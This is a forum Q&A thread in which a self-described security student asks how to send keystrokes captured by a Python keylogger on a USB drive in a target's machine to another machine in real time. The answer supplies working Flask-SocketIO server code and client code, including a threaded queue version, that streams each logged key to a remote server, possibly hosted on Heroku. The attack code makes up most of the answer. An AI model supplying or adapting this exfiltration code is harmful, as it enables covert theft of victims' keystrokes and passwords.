I'm a cyber security student working on a project which captures keystrokes and saves them to a .txt file (simple keylogger built with python) that'd be stored on a USB flash drive plugged in the target's machine. The key data must then be wirelessly transferred from the USB to another machine. I'm looking for the best way to transfer this data (preferably in real-time). Any tips would be well appreciated. Thanks in advance.
You could do this using sockets. The below code uses a python server and client. The server can be hosted on Heroku or any other web hosting service that supports python servers. If you're deploying it to a hosting service, look at their documentation. You can also just run the server locally (for testing/demonstration purposes only).
Server:
from flask import Flask, render_template
from flask_socketio import SocketIO, emit
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret!'
socketio = SocketIO(app)
@socketio.on('keylogger')
def test_connect(data):
print(data["keylogged"])
if __name__ == '__main__':
socketio.run(app)
Client Code (add this to your keylogger to send each keystoke):
from socketIO_client import SocketIO, LoggingNamespace
socketIO = SocketIO('localhost', 5000, LoggingNamespace) # Change 5000 to 443 if running on heroku, and change the localhost to the server url
socketIO.emit('keylogger', {"keylogged": "<key that code logged>"})
If the above code client code is too slow, you may want to use queue
and threading
as show below:
import queue
import threading
from socketIO_client import SocketIO, LoggingNamespace
socketIO = SocketIO('localhost', 5000, LoggingNamespace)
q = queue.Queue()
def background():
while True:
msg = q.get()
socketIO.emit("keylogger", {"keylogged": msg})
sockthread = threading.Thread(target=background)
sockthread.start()
<code that logs key, and when a key is detected, adds the key into the queue: `q.put(key)`>
Before you run the below code, the server has these dependencies installed with pip:
flask
flask-socketio
and the client has these dependencies installed with pip:
socketIO-client